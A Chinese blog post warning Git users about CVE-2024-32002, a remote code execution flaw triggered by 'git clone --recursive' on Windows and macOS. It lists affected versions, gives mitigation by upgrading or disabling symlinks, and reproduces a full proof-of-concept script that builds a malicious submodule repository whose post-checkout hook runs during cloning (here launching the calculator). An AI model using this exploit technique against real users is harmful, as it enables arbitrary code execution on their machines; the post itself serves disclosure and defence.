首页 > 其他分享 >各位用到git的,请注意CVE-2024-32002安全漏洞

各位用到git的,请注意CVE-2024-32002安全漏洞

时间:2024-06-02 23:04:06浏览次数:36  
标签:git 2.45 hook -- 2024 漏洞 Git CVE

解释几个缩写名词

  1. CVE CVE 是 Common Vulnerabilities and Exposures 的缩写,指的是通用漏洞与暴露(Common Vulnerabilities and Exposures),它是一个用于标识和跟踪计算机系统中的安全漏洞的标准化命名方案,每个 CVE 条目都包含一个唯一标识符(CVE ID),以及漏洞的描述、评分、影响范围等信息
  2. RCE RCE 是 Remote Code Execution 的缩写,指的是远程代码执行,这是一种安全漏洞,允许攻击者远程执行其自己的恶意代码或命令,通常是通过利用软件或系统中存在的漏洞来实现的,一旦攻击者成功利用了远程代码执行漏洞,他们就可以在受影响的系统上执行任意命令,从而获取对系统的控制权,这种漏洞可能导致严重的安全问题,包括数据泄露、系统瘫痪等
  3. PoC当人们提到 PoC 时,他们通常指的是一种技术或漏洞的 Proof of Concept,即在实际环境中演示或验证某种概念或理论的可行性,这意味着开发者或安全研究人员创建了一个小型程序、脚本或演示,以展示一个新的技术、漏洞或攻击的工作原理,这可以帮助其他人理解该技术或漏洞,并可能用于测试、改进或防御相关系统

– 受影响版本(只影响Windows和Mac系统版本)

- git 2.45.0
- git 2.44.0
- git 2.43.* < 2.43.4
- git 2.42.* < 2.42.2
- git 2.41.0
- git 2.40.* < 2.40.2
- git < 2.39.4

利用 CVE-2024-32002 漏洞:通过 git clone 进行 RCE 的操作
新版本(2.45.1) 应该是被修复了


新版 Git Latest source Release 2.45.1 Release Notes (2024-04-29) 目前最新版为 2.45.1,此链接只是Git官网首页


Click here to download the latest (2.45.1) 64-bit version of Git for Windows. This is the most recent maintained build. It was released 15 days ago, on 2024-05-14.


通过一个简单的git-clone命令触发RCE: 通过一个简单的git-clone命令触发RCE


PoC 验证 Windows And Mac

PoC execution 脚本:CVE-2024-32002: Exploiting Git RCE via git clone

git clone --recursive git@github.com:amalmurali47/git_rce.git

运行以上命令,就会弹出此系统的计算器,Windows 可能需要选择 管理员运行(我的版本低,没有成功运行此漏洞脚本,我的版本为:git version 2.31.1.windows.1

PoC execution on Windows
在这里插入图片描述
– – PoC execution on Mac
在这里插入图片描述

项目内的 create_poc.sh 脚本

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
# post-checkout 钩子中,尝试打开 Windows的计算机程序calc.exe 以及 mac的计算机程序 EOF
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

措施

  • 该漏洞依赖 git clone --recursive 这种方式

  • 该漏洞依赖 macwindows 的文件系统中文件名大小写不敏感这个特性

  • Git 已发布修复版本,请升级至 2.45.12.44.12.43.42.42.22.41.12.40.22.39.4

CVE官网介绍 ID 32002 漏洞

CVE 2024 32002

NameDescription
CVE-2024-32002Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4. If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won’t work. As always, it is best to avoid cloning repositories from untrusted sources.
CVE-2024-32002Git是一个修订控制系统。在版本2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 之前,带有子模块的存储库可以利用Git中的一个漏洞进行构建,从而被欺骗,将文件不是写入子模块的工作树,而是写入“.Git/”目录。这允许编写将在克隆操作仍在运行时执行的挂钩,从而使用户没有机会检查正在执行的代码。该问题已在版本2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 中进行了修补。如果Git中禁用了符号链接支持(例如通过Git-config--global-core.symlinks-false),则所描述的攻击将不起作用。一如既往,最好避免从不受信任的来源克隆存储库

标签:git,2.45,hook,--,2024,漏洞,Git,CVE
From: https://blog.csdn.net/Dongfang_project/article/details/139319173

相关文章

  • 【2024年5月备考新增】】 考前篇(25)《必备资料(8) - 论文串讲-成本管理》
    过程定义输入工具技术输出实际应用规划成本管理确定如何估算预算、管理、监督和控制项目成本1、项目章程2、项目管理计划.进度管理计划.风险管理计划3、事业环境因素4、组织过程资产1、专家判断2、数据分析.备选方案分析3、会议1、成本管理计划1、创......
  • 2024年8大数字项目管理平台分享
    本文将分享8个数字项目管理平台:PingCode、Worktile、Miro、Forecast、Paymo、Teamwork、ProjectManager.com、Basecamp。在快节奏的商业环境中,有效的项目管理是成功的关键。数字项目管理平台作为提升项目效率、优化资源配置和增强团队协作的重要工具,已成为众多企业不可或缺的一......
  • 【考前指导】2024年高考物理最后一课
    【考前指导】2024年高考物理最后一课https://mp.weixin.qq.com/s/JWVsX4gvqVZFgVov12nZ1w【物理实验】高中物理实验全总结https://mp.weixin.qq.com/s/2VaF-vv1DfhfOjHkPo0SFw【物理笔记】厉害了我的物理!高考学霸物理笔记(完整版)https://mp.weixin.qq.com/s/jWpAoP7lGvyglSlqE......
  • 赶紧收藏!2024 年最常见 20道 Kafka面试题(二)
    上一篇地址:赶紧收藏!2024年最常见20道Kafka面试题(一)-CSDN博客三、Kafka的设计架构是什么?Kafka的设计架构是分布式和可扩展的,旨在处理高吞吐量的数据流。以下是Kafka设计架构的关键组成部分及其功能:Producer(生产者):生产者是向Kafka集群发送消息的客户端。它们负责创建消息......
  • GB-T 18262-2024 人造板机械 通用技术条件
    GB-T18262-2024人造板机械通用技术条件概览编写背景随着人造板行业的快速发展,对人造板机械的质量和性能要求越来越高。为了规范人造板机械的生产和使用,提高产品的可靠性和安全性,GB-T18262-2024《人造板机械通用技术条件》应运而生。这一标准旨在为人造板机械的设计、制......
  • GB-T 18003-2024 人造板机械 设备型号编制方法
    GB-T18003-2024人造板机械设备型号编制方法编写背景随着人造板行业的快速发展,标准化的设备型号编制方法对于提高行业内部的沟通效率、促进设备管理的规范化具有重要意义。GB-T18003-2024标准是针对人造板机械领域制定的一项国家级推荐性标准,旨在统一人造板机械设备的......
  • JSOI 信息与未来2024游记
    JSOI信息与未来2024游记day0似乎就一天祭day1签到通知12:10到,结果13:10才开始先开T1签到题一如既往是幸运数字不得不吐槽一下出题人的语文水平了先20min整完这题,过~开T2一看什么红绿灯灯管,感觉是道模拟,先放着开T3一个明显的BFS连通块,思考了一下确定先做T2jc......
  • 20240602比赛总结
    T1等差子序列https://gxyzoj.com/d/hzoj/p/3638主要在枚举的方法上,要选小常数较小的方法30pts:枚举前两个数,然后算出第三个数的值,看位置是否满足条件100pts:上面的方法中,不是每组数都可以满足条件,可能会出现大于n或小于1的情况,但是却无法避免对它的的枚举,所以常数较大可以......
  • Git基本语法
    官网及下载地址        Git官网:GitGit基本语法1.Git初始化配置git--version #Git版本gitupdate-git-for-windows #升级版本gitconfig--system[--unset]user.name用户名#设置/删除用户签名(全局)gitconfig--system[--unset]......
  • 2024.6.2
    2024.6.2【明霄升海平,飞彩镌流年。】Sunday四月廿六A.矩形覆盖题目描述有N个矩形,矩形的底边边长为1,且均在X轴上,高度给出,第i个矩形的高为h[i],求最少需要几个矩形才能覆盖这个图形。例如h=[3,2,4,2]的图形如下:image容易发现,只需要3个矩形就能覆盖这个图形。输入......